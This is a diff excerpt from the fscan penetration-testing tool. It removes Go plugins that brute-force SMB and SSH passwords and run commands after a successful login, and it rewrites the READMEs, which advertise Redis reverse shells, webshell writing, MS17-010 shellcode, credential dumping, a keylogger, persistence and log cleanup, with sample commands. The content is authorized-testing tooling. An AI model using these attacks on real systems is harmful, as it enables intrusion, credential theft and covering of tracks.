tmperr := err[0].Interface()
|
||||
if tmperr != nil {
|
||||
tmperr1 := err[0].Interface().(error)
|
||||
errtext := strings.Replace(tmperr1.Error(), "\n", "", -1)
|
||||
fmt.Println("[-] ", info.Host+":"+info.Ports, errtext)
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
<-ch
|
||||
}()
|
||||
ch <- struct{}{}
|
||||
}
|
||||
|
||||
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
|
||||
f := reflect.ValueOf(m[name])
|
||||
if len(infos) != f.Type().NumIn() {
|
||||
err = errors.New("The number of infos is not adapted ")
|
||||
fmt.Println(err.Error())
|
||||
return result, nil
|
||||
}
|
||||
in := make([]reflect.Value, len(infos))
|
||||
for k, info := range infos {
|
||||
in[k] = reflect.ValueOf(info)
|
||||
}
|
||||
result = f.Call(in)
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SmbScan(info *common.HostInfo) (tmperr error) {
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := doWithTimeOut(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
var result string
|
||||
if info.Domain != "" {
|
||||
result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] smb %v %v %v %v %v", info.Host, 445, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Username, Password := info.Host, user, pass
|
||||
options := smb.Options{
|
||||
Host: Host,
|
||||
Port: 445,
|
||||
User: Username,
|
||||
Password: Password,
|
||||
Domain: Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
}
|
||||
|
||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
signal := make(chan struct{})
|
||||
go func() {
|
||||
flag, err = SmblConn(info, user, pass, info.Domain, signal)
|
||||
}()
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(time.Duration(info.Timeout) * time.Second):
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
@@ -1,62 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
for _, user := range common.Userdict["ssh"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := SshConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ssh", info.Host, common.PORTList["ssh"], user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
}
|
||||
|
||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, common.PORTList["ssh"], user, pass
|
||||
config := &ssh.ClientConfig{
|
||||
User: Username,
|
||||
Auth: []ssh.AuthMethod{
|
||||
ssh.Password(Password),
|
||||
},
|
||||
Timeout: time.Duration(info.Timeout) * time.Second,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config)
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
session, err := client.NewSession()
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
flag = true
|
||||
if info.Command != "" {
|
||||
combo, _ := session.CombinedOutput(info.Command)
|
||||
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
|
||||
}
|
||||
@@ -1,117 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var CheckData []WebScan.CheckDatas
|
||||
|
||||
func WebTitle(info *common.HostInfo) error {
|
||||
if info.Ports == "80" {
|
||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
||||
} else if info.Ports == "443" {
|
||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
||||
} else {
|
||||
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
|
||||
}
|
||||
|
||||
err, result := geturl(info, true)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if result == "https" {
|
||||
err, _ := geturl(info, true)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
err, _ = geturl(info, false)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
WebScan.InfoCheck(info.Url, CheckData)
|
||||
|
||||
if common.IsWebCan == false {
|
||||
WebScan.WebScan(info)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
func geturl(info *common.HostInfo, flag bool) (err error, result string) {
|
||||
Url := info.Url
|
||||
if flag == false {
|
||||
Url += "/favicon.ico"
|
||||
}
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
DisableKeepAlives: false,
|
||||
DialContext: (&net.Dialer{
|
||||
Timeout: time.Duration(info.WebTimeout) * time.Second,
|
||||
KeepAlive: time.Duration(info.WebTimeout+3) * time.Second,
|
||||
}).DialContext,
|
||||
MaxIdleConns: 1000,
|
||||
MaxIdleConnsPerHost: 1000,
|
||||
IdleConnTimeout: time.Duration(info.WebTimeout+3) * time.Second,
|
||||
TLSHandshakeTimeout: 5 * time.Second,
|
||||
}
|
||||
//u, err := url.Parse("http://127.0.0.1:8080")
|
||||
//if err != nil {
|
||||
// return err,result
|
||||
//}
|
||||
//tr.Proxy = http.ProxyURL(u)
|
||||
|
||||
var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
|
||||
res, err := http.NewRequest("GET", Url, nil)
|
||||
if err == nil {
|
||||
res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
res.Header.Add("Accept", "*/*")
|
||||
res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
res.Header.Add("Accept-Encoding", "gzip, deflate")
|
||||
if flag == true {
|
||||
res.Header.Add("Cookie", "rememberMe=1")
|
||||
}
|
||||
res.Header.Add("Connection", "close")
|
||||
resp, err := client.Do(res)
|
||||
if err == nil {
|
||||
defer resp.Body.Close()
|
||||
var title string
|
||||
body, _ := ioutil.ReadAll(resp.Body)
|
||||
re := regexp.MustCompile("<title>(.*)</title>")
|
||||
find := re.FindAllStringSubmatch(string(body), -1)
|
||||
if len(find) > 0 {
|
||||
title = find[0][1]
|
||||
if len(title) > 100 {
|
||||
title = title[:100]
|
||||
}
|
||||
} else {
|
||||
title = "None"
|
||||
}
|
||||
if flag == true {
|
||||
result = fmt.Sprintf("WebTitle:%-25v %-3v %v", Url, resp.StatusCode, title)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
|
||||
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
|
||||
|
||||
if resp.StatusCode == 400 && info.Url[:5] != "https" {
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
return err, "https"
|
||||
}
|
||||
return err, result
|
||||
}
|
||||
return err, ""
|
||||
}
|
||||
return err, ""
|
||||
}
|
||||
@@ -1,127 +1,282 @@
|
||||
# fscan
|
||||
# Fscan
|
||||
|
||||
# 简介
|
||||
一款内网扫描工具,方便一键大保健。
|
||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息、web漏洞扫描等。
|
||||
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
|
||||
还在逐步增加功能,欢迎各位师傅提意见。
|
||||
[English](README_EN.md)
|
||||
|
||||
内网综合扫描工具,一键自动化漏扫。
|
||||
|
||||
## why
|
||||
为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan
|
||||
**版本**: 2.1.2
|
||||
|
||||
答:
|
||||
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
|
||||
## 功能特性
|
||||
|
||||
## 最近更新
|
||||
[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。
|
||||
修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度
|
||||
[+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试
|
||||
[+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)
|
||||
[+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。
|
||||
[+] 2020/11/17 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。
|
||||
[+] 2020/11/17 增加WebScan模块,新增shiro简单识别。https访问时,跳过证书认证。将服务模块和web模块的超时分开,增加-wt 参数(WebTimeout)。
|
||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认11000,适合扫B段
|
||||
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
|
||||
### 扫描能力
|
||||
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
|
||||
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
|
||||
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
|
||||
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
|
||||
|
||||
## usege
|
||||
简单用法
|
||||
```
|
||||
go run main.go -h 192.168.1.1/24
|
||||
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
||||
```
|
||||
```
|
||||
-h 192.168.1.1/24 (C段)
|
||||
-h 192.168.1.1/16 (B段)
|
||||
-h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
||||
-hf ip.txt (以文件导入)
|
||||
### 爆破能力
|
||||
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
|
||||
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
|
||||
- **SSH密钥登录** - 支持私钥认证方式
|
||||
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
|
||||
|
||||
### 漏洞检测
|
||||
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
|
||||
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
|
||||
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
|
||||
- **DNSLog** - 支持DNSLog外带检测
|
||||
|
||||
### 漏洞利用
|
||||
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
|
||||
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
|
||||
- **SSH命令执行** - 认证成功后自动执行命令
|
||||
|
||||
### 本地模块
|
||||
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
|
||||
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
|
||||
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
|
||||
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
|
||||
- **杀软检测** - 识别目标主机安装的安全软件
|
||||
- **痕迹清理** - 日志清理工具
|
||||
|
||||
### 输入输出
|
||||
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
|
||||
- **排除规则** - 支持排除特定主机、端口
|
||||
- **输出格式** - TXT/JSON/CSV多格式输出
|
||||
- **静默模式** - 无Banner、无进度条、无颜色输出
|
||||
|
||||
### 网络控制
|
||||
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
|
||||
- **发包控制** - 速率限制、最大发包数量控制
|
||||
- **超时控制** - 端口超时、Web超时、全局超时独立配置
|
||||
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
|
||||
|
||||
### 扩展功能
|
||||
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
|
||||
- **Lab靶场环境** - 内置Docker靶场用于测试学习
|
||||
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
|
||||
- **多语言支持** - 中英文界面切换(-lang zh/en)
|
||||
- **性能统计** - JSON格式性能报告(-perf)
|
||||
|
||||
## v2.1.0 更新日志
|
||||
|
||||
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
|
||||
|
||||
### 架构重构
|
||||
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
|
||||
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
|
||||
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
|
||||
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
|
||||
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
|
||||
- **HostInfo重构** - Ports字段从string改为int,类型安全
|
||||
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
|
||||
- **代码审计** - 修复P0-P2级别问题,清理deadcode
|
||||
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
|
||||
|
||||
### 性能优化
|
||||
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
|
||||
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
|
||||
- **并发指纹匹配** - 多协程并行匹配,提升识别速度
|
||||
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
|
||||
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
|
||||
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
|
||||
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
|
||||
- **预分配容量** - 简化转换链、单次字符串替换
|
||||
- **并发安全优化** - 优化锁粒度和内存分配
|
||||
|
||||
### 新功能
|
||||
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
|
||||
- **多格式POC适配** - 支持xray和afrog格式POC
|
||||
- **智能扫描模式** - 布隆过滤器去重+代理优化
|
||||
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
|
||||
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
|
||||
- **通用版本提取器** - 自动提取服务版本信息
|
||||
- **指纹优先级排序** - 智能排序匹配结果
|
||||
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
|
||||
- **网卡指定功能** - 支持VPN场景(-iface参数)
|
||||
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
|
||||
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
|
||||
- **端口扫描重试** - 失败自动重扫机制
|
||||
- **RDP真实认证** - 集成grdp库实现系统指纹识别
|
||||
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
|
||||
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
|
||||
- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
|
||||
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
|
||||
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
|
||||
- **默认端口扩展** - 从62个扩展到133个常用端口
|
||||
- **全端口扫描支持** - 扩大端口范围限制
|
||||
- **HTTP重定向控制** - 可配置的重定向次数限制
|
||||
- **性能分析支持** - 添加pprof性能分析和benchmark测试
|
||||
- **TCP包统计** - 服务插件支持TCP包发送统计
|
||||
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
|
||||
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
|
||||
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
|
||||
|
||||
### Bug修复(120项,列出关键修复)
|
||||
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
|
||||
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
|
||||
- **JSON输出格式** - 修复输出格式错误(#446)
|
||||
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
|
||||
- **结果实时保存** - 修复扫描结果未及时保存(#469)
|
||||
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
|
||||
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
|
||||
- **MySQL连接验证** - 改用information_schema库验证
|
||||
- **代理端口误判** - 修复代理模式下端口状态判断错误
|
||||
- **Context超时** - 修复22处插件超时未响应问题
|
||||
- **ICMP竞态条件** - 修复并发扫描竞争问题
|
||||
- **IPv6地址格式** - 修复4处地址格式化问题
|
||||
- **POC高并发卡死** - 修复Context未传播问题
|
||||
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
|
||||
- **SOCKS5全回显** - 添加代理连接验证
|
||||
- **服务探测泄漏** - 修复连接未正确关闭问题
|
||||
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
|
||||
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
|
||||
- **JSON指纹缺失** - 统一SERVICE结果Target格式
|
||||
- **扫描耗时显示** - 修复完成耗时显示为0的问题
|
||||
- **虚假漏洞记录** - 重构TXT输出系统消除误报
|
||||
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
|
||||
- **Windows编译警告** - 修复fscan-lite平台兼容性
|
||||
- **Go 1.20兼容** - 降级依赖保持兼容性
|
||||
|
||||
### 测试增强(20项)
|
||||
- **单元测试** - 核心模块覆盖率74-100%
|
||||
- **并发安全测试** - State对象、指纹匹配引擎专项测试
|
||||
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
|
||||
- **CLI参数测试** - 命令行参数解析验证
|
||||
- **性能基准测试** - AdaptivePool、服务探测策略benchmark
|
||||
- **ResultBuffer测试** - 去重和完整度评分验证
|
||||
|
||||
### 工程化改进
|
||||
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
|
||||
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
|
||||
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
|
||||
- **README重写** - 中英文文档全面更新
|
||||
- **代码格式统一** - gofmt/goimports规范化
|
||||
|
||||
## 快速开始
|
||||
|
||||
```bash
|
||||
# 扫描C段
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# 指定端口
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# 仅存活探测
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# 禁用爆破
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web扫描
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# 本地插件
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash碰撞
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis写公钥
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
## 编译
|
||||
|
||||
完整参数
|
||||
```bash
|
||||
# 标准编译
|
||||
go build -ldflags="-s -w" -trimpath -o fscan main.go
|
||||
|
||||
# 带Web管理界面
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
|
||||
```
|
||||
-Num int
|
||||
poc rate (default 20)
|
||||
-c string
|
||||
exec command (ssh)
|
||||
-domain string
|
||||
smb domain
|
||||
-h string
|
||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hf string
|
||||
host file, -hs ip.txt
|
||||
-it int
|
||||
Icmp Threads nums (default 11000)
|
||||
-m string
|
||||
Select scan type ,as: -m ssh (default "all")
|
||||
-no
|
||||
not to save output log
|
||||
-nopoc
|
||||
not to scan web vul
|
||||
-np
|
||||
not to ping
|
||||
-o string
|
||||
Outputfile (default "result.txt")
|
||||
-p string
|
||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,11211,27017")
|
||||
-ping
|
||||
using ping replace icmp
|
||||
-pocname string
|
||||
use the pocs these contain pocname, -pocname weblogic
|
||||
-proxy string
|
||||
set poc proxy, -proxy http://127.0.0.1:8080
|
||||
-pwd string
|
||||
password
|
||||
-pwdf string
|
||||
password file
|
||||
-rf string
|
||||
redis file to write sshkey file (as: -rf id_rsa.pub)
|
||||
-rs string
|
||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||
-t int
|
||||
Thread nums (default 200)
|
||||
-time int
|
||||
Set timeout (default 3)
|
||||
-user string
|
||||
username
|
||||
-userf string
|
||||
username file
|
||||
-wt int
|
||||
Set web timeout (default 3)
|
||||
|
||||
## 安装
|
||||
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
```
|
||||
|
||||
## 运行截图
|
||||
|
||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
## 未来计划
|
||||
[*] 合理输出当前扫描进度
|
||||
[*] 增加内网常见高危漏洞
|
||||
[*] 增加高危web漏洞扫描
|
||||
[*] 师傅们觉得有必要加的漏洞,也可以提issue
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||

|
||||
|
||||
## 参考链接
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 路线图
|
||||
|
||||
### 更新计划
|
||||
- **更新周期** - 每月一次版本发布
|
||||
- **前两周** - 新功能开发与特性更新
|
||||
- **后两周** - Bug修复与代码整合
|
||||
- **欢迎PR** - 期待您的贡献!
|
||||
|
||||
### 插件生态
|
||||
- 持续扩展服务插件覆盖范围
|
||||
- 为每个服务插件开发更多漏洞检测和利用能力
|
||||
- 保持插件API向后兼容,确保旧版本POC持续可用
|
||||
|
||||
### Fscan-lite
|
||||
- C语言重写的轻量版本
|
||||
- 更小的体积,更少的依赖
|
||||
- 支持更多嵌入式/受限环境
|
||||
- 目录: [fscan-lite](./fscan-lite)
|
||||
|
||||
### Fscan-lab
|
||||
- 内网渗透测试靶场环境
|
||||
- 覆盖所有fscan支持的漏洞场景
|
||||
- 开发测试与功能验证平台
|
||||
- 新手学习与技能练习环境
|
||||
- 目录: [fscan-lab](./fscan-lab)
|
||||
|
||||
## 免责声明
|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
|
||||
|
||||
## 404StarLink
|
||||
|
||||

|
||||
|
||||
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目。
|
||||
|
||||
## Star趋势
|
||||
|
||||
[](https://starchart.cc/shadow1ng/fscan)
|
||||
|
||||
## 捐赠
|
||||
|
||||
[请作者喝饮料](image/sponsor.png)
|
||||
|
||||
## 参考
|
||||
|
||||
- https://github.com/Adminisme/ServerScan
|
||||
- https://github.com/netxfly/x-crack
|
||||
- https://github.com/hack2fun/Gscan
|
||||
- https://github.com/k8gege/LadonGo
|
||||
- https://github.com/jjf012/gopoc
|
||||
- https://github.com/chainreactors/gogo
|
||||
- https://github.com/0x727/FingerprintHub
|
||||
- https://github.com/killmonday/fscanx
|
||||
|
||||
+282
@@ -0,0 +1,282 @@
|
||||
# Fscan
|
||||
|
||||
[中文](README.md)
|
||||
|
||||
Comprehensive intranet scanning tool for automated vulnerability assessment.
|
||||
|
||||
**Version**: 2.1.2
|
||||
|
||||
## Features
|
||||
|
||||
### Scanning
|
||||
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
|
||||
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
|
||||
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
|
||||
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
|
||||
|
||||
### Brute Force
|
||||
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
|
||||
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
|
||||
- **SSH Key Login** - Private key authentication
|
||||
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
|
||||
|
||||
### Vulnerability Detection
|
||||
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
|
||||
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
|
||||
- **POC Scanning** - Integrated web POC, Xray POC format support
|
||||
- **DNSLog** - DNSLog out-of-band detection
|
||||
|
||||
### Exploitation
|
||||
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
|
||||
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
|
||||
- **SSH Command Exec** - Auto command execution after authentication
|
||||
|
||||
### Local Modules
|
||||
- **Info Gathering** - System info, environment variables, DC info, NIC config
|
||||
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
|
||||
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
|
||||
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
|
||||
- **AV Detection** - Identify installed security software
|
||||
- **Trace Cleanup** - Log cleaning tool
|
||||
|
||||
### Input/Output
|
||||
- **Target Input** - IP/CIDR/domain/URL, batch file import
|
||||
- **Exclusion Rules** - Exclude specific hosts, ports
|
||||
- **Output Formats** - TXT/JSON/CSV multi-format output
|
||||
- **Silent Mode** - No banner, no progress bar, no color output
|
||||
|
||||
### Network Control
|
||||
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
|
||||
- **Rate Control** - Rate limiting, max packet count control
|
||||
- **Timeout Control** - Port/Web/Global timeout independent config
|
||||
- **Concurrency** - Port scan threads, service scan threads independent config
|
||||
|
||||
### Extensions
|
||||
- **Web Management UI** - Visual scan task management (build with -tags web)
|
||||
- **Lab Environment** - Built-in Docker lab for testing and learning
|
||||
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
|
||||
- **Multi-language** - Chinese/English interface (-lang zh/en)
|
||||
- **Performance Stats** - JSON format performance report (-perf)
|
||||
|
||||
## v2.1.0 Changelog
|
||||
|
||||
